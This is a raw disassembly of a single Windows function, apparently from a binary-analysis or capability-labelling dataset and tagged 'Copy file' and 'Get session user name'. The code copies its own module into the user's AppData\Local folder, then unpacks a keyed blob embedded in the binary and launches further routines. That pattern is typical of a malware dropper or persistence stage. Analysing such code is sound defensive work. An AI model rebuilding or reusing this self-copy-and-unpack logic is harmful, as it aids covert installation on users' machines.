Function at 0x10009f20
Capabilities:
Copy file
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1018987e
mov eax, dword fs:[0]
push eax
sub esp, 0x4ac
mov eax, dword [0x101eb630]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x114]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x408]
push ecx
lea edx, [ebp - 0x218]
push edx
mov dword [ebp - 0x408], 0x101
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0x114]
push 0x5c
push eax
call fcn.1016d26b
inc eax
push eax
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x31c]
push str.C:Users_sAppDataLocal_s
push edx
call fcn.1016e3a0
add esp, 0x18
push ebx
lea eax, [ebp - 0x31c]
push eax
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [ebp - 0x3fc]
push edx
call fcn.10006d90
lea eax, [ebp - 0x3c4]
push eax
mov dword [ebp - 4], ebx
call fcn.10009b00
lea ecx, [ebp - 0x338]
push ecx
mov byte [ebp - 4], 1
call fcn.10006de0
push eax
lea edx, [ebp - 0x3c4]
push edx
lea eax, [ebp - 0x3e0]
push eax
mov byte [ebp - 4], 2
call fcn.10004ed0
add esp, 0x18
mov esi, 0x10
mov byte [ebp - 4], 4
cmp dword [ebp - 0x324], esi
jb 0x1000a027
mov ecx, dword [ebp - 0x338]
push ecx
call fcn.1007a32e
add esp, 4
lea edx, [ebp - 0x354]
mov edi, 0xf
push edx
mov dword [ebp - 0x324], edi
mov dword [ebp - 0x328], ebx
mov byte [ebp - 0x338], 0
call fcn.10007380
push eax
lea eax, [ebp - 0x3c4]
push eax
lea ecx, [ebp - 0x370]
push ecx
mov byte [ebp - 4], 5
call fcn.10004ed0
add esp, 0x10
mov byte [ebp - 4], 7
cmp dword [ebp - 0x340], esi
jb 0x1000a081
mov edx, dword [ebp - 0x354]
push edx
call fcn.1007a32e
add esp, 4
lea eax, [ebp - 0x338]
push eax
mov dword [ebp - 0x340], edi
mov dword [ebp - 0x344], ebx
mov byte [ebp - 0x354], 0
call fcn.10007670
push eax
lea ecx, [ebp - 0x3c4]
push ecx
lea edx, [ebp - 0x38c]
push edx
mov byte [ebp - 4], 8
call fcn.10004ed0
add esp, 0x10
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x324], esi
jb 0x1000a0d6
mov eax, dword [ebp - 0x338]
push eax
call fcn.1007a32e
add esp, 4
mov eax, dword [ebp - 0x3e0]
mov dword [ebp - 0x324], edi
mov dword [ebp - 0x328], ebx
mov byte [ebp - 0x338], 0
cmp dword [ebp - 0x3cc], esi
jae 0x1000a0fd
lea eax, [ebp - 0x3e0]
push 1
push 0x40
push 0x24
push eax
lea ecx, [ebp - 0x4b8]
call fcn.100093d0
mov ecx, dword [ebp - 0x4b8]
mov eax, dword [ecx + 4]
mov ecx, dword [ebp + eax - 0x4ac]
mov byte [ebp - 4], 0xb
test cl, 6
jne 0x1000a151
mov ecx, dword [ebp + eax - 0x480]
mov edx, dword [ecx]
mov edx, dword [edx + 0x28]
push 1
push 1
push ebx
push ebx
lea eax, [ebp - 0x334]
push eax
call edx
mov ecx, dword [ebp - 0x32c]
mov eax, dword [ebp - 0x334]
jmp 0x1000a16a
mov ecx, dword [0x101bf1a4]
mov eax, dword [0x101bf1a0]
mov dword [ebp - 0x330], ecx
xor ecx, ecx
mov dword [ebp - 0x328], ebx
lea edi, [eax + ecx]
push edi
call fcn.1007a323
add esp, 4
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x4b8]
mov esi, eax
call fcn.10002210
mov eax, edi
cdq
push edx
push eax
push esi
lea ecx, [ebp - 0x4b8]
call fcn.100039d0
lea ecx, [ebp - 0x4a8]
call fcn.10004ae0
test eax, eax
jne 0x1000a1cf
mov edx, dword [ebp - 0x4b8]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0x4ac]
lea ecx, [ebp + ecx - 0x4b8]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x1000a1c8
or eax, 4
push ebx
push eax
call fcn.100015c0
add edi, 0xfff2cffa
push edi
call fcn.1007a323
mov ebx, eax
add esp, 4
xor eax, eax
test edi, edi
jle 0x1000a1ff
jmp 0x1000a1f0
mov cl, byte [esi + eax + 0xd3006]
mov byte [eax + ebx], cl
inc eax
cmp eax, edi
jl 0x1000a1f0
push 6
call fcn.1007a323
movzx edx, byte [esi + 0xd3000]
mov byte [eax], dl
movzx ecx, byte [esi + 0xd3001]
mov byte [eax + 1], cl
movzx edx, byte [esi + 0xd3002]
mov byte [eax + 2], dl
movzx ecx, byte [esi + 0xd3003]
mov byte [eax + 3], cl
movzx edx, byte [esi + 0xd3004]
mov byte [eax + 4], dl
movzx ecx, byte [esi + 0xd3005]
push 6
push eax
lea edx, [ebp - 0x3a8]
push edx
mov byte [eax + 5], cl
call fcn.10009260
push 0x101fadb8
push 0x101fadc8
push edi
xor edi, edi
push edi
push ebx
mov byte [ebp - 4], 0xc
call fcn.10004150
mov eax, dword [ebp - 0x370]
mov esi, 0x10
add esp, 0x24
mov dword [ebp - 0x400], edi
cmp dword [ebp - 0x35c], esi
jae 0x1000a28a
lea eax, [ebp - 0x370]
push eax
call fcn.10008fa0
add esp, 4
test al, al
je 0x1000a304
push 0x101ecd20
mov ecx, 0x101fada8
call fcn.10009350
mov eax, dword [0x101fadc8]
mov ecx, dword [eax]
mov edx, dword [0x101fadb8]
mov eax, dword [edx]
push ecx
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x404], esp
push 0xffffffffffffffff
push edi
lea edx, [ebp - 0x3a8]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], edi
push edx
mov byte [ecx], 0
call fcn.100032f0
call fcn.10002880
mov ecx, dword [0x101fada8]
mov dword [ecx], eax
mov edx, dword [0x101fada8]
mov eax, dword [0x101fadb8]
mov dword [edx + 4], eax
mov edx, dword [0x101fada8]
jmp 0x1000a39a
mov eax, dword [ebp - 0x38c]
cmp dword [ebp - 0x378], esi
jae 0x1000a318
lea eax, [ebp - 0x38c]
push eax
call fcn.10008fa0
add esp, 4
test al, al
je 0x1000a3b7
push 0x101ecd20
mov ecx, 0x101fada8
call fcn.10009350
mov eax, dword [0x101fadc8]
mov ecx, dword [eax + 4]
mov edx, dword [0x101fadb8]
mov eax, dword [edx + 4]
push ecx
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x404], esp
push 0xffffffffffffffff
push edi
lea edx, [ebp - 0x3a8]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], edi
push edx
mov byte [ecx], 0
call fcn.100032f0
call fcn.10002880
mov ecx, dword [0x101fada8]
mov dword [ecx + 8], eax
mov edx, dword [0x101fadb8]
mov eax, dword [0x101fada8]
add edx, 4
mov dword [eax + 0xc], edx
mov edx, dword [0x101fada8]
add edx, 8
lea ecx, [ebp - 0x400]
push ecx
push edi
push edx
push 0x10001240
push edi
push edi
call fcn.10009090
add esp, 0x3c
jmp 0x1000a4b0
mov eax, dword [0x101fadcc]
mov ecx, dword [0x101fadc8]
mov edx, eax
sub edx, ecx
sar edx, 2
xor esi, esi
test edx, edx
je 0x1000a468
jmp 0x1000a3e0
push 0x101ecd20
mov ecx, 0x101fada8
call fcn.10009350
mov eax, dword [0x101fadc8]
mov ecx, dword [eax + esi*4]
mov edx, dword [0x101fadb8]
mov eax, dword [edx + esi*4]
push ecx
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x404], esp
push 0xffffffffffffffff
push edi
lea edx, [ebp - 0x3a8]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], edi
push edx
mov byte [ecx], 0
call fcn.100032f0
call fcn.10002880
mov ecx, dword [0x101fada8]
mov dword [ecx + esi*8], eax
mov edx, dword [0x101fadb8]
mov ecx, dword [0x101fada8]
lea eax, [edx + esi*4]
mov dword [ecx + esi*8 + 4], eax
mov eax, dword [0x101fadcc]
mov ecx, dword [0x101fadc8]
mov edx, eax
sub edx, ecx
inc esi
sar edx, 2
add esp, 0x24
cmp esi, edx
jb 0x1000a3e0
sub eax, ecx
sar eax, 2
xor esi, esi
test eax, eax
je 0x1000a4b0
mov ecx, dword [0x101fada8]
lea eax, [ebp - 0x400]
push eax
push edi
lea edx, [ecx + esi*8]
push edx
push 0x10001240
push edi
push edi
call fcn.10009090
mov eax, dword [0x101fadcc]
sub eax, dword [0x101fadc8]
inc esi
sar eax, 2
add esp, 0x18
cmp esi, eax
jb 0x1000a473
jmp 0x1000a4b0
push 0x2710
call fcn.10009190
add esp, 4
jmp 0x1000a4b0